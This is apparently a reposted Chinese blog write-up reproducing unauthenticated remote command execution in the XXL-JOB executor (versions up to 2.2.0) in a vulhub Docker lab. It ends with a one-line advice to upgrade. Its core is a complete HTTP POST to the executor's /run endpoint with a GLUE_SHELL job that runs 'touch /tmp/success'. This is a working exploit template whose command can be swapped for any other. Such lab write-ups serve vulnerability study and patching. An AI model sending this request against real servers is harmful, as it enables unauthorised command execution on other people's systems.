XXL-JOB executor 未授权访问漏洞

漏洞概述

XXL-JOB是一个轻量级分布式任务调度平台。默认情况下XXL-JOB的API接口没有配置认证措施,未授权的攻击者可构造恶意请求,触发反序列化,造成远程执行命令

影响版本

XXL-JOB <= 2.2.0

环境搭建


进入目录

cd vulhub-master/xxl-job/unacc/

启动2.2.0版本的XXL-JOB

docker-compose up -d

http://your-ip:8080是管理端(admin)

http://your-ip:9999是客户端(executor)

漏洞复现

 

向客户端发送数据包

POST /run HTTP/1.1
Host: 192.168.204.131:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "touch /tmp/success",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

返回200,说明touch /tmp/success已成功执行

修复建议

升级到安全版本

 

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转载自blog.csdn.net/xuandao_ahfengren/article/details/111601312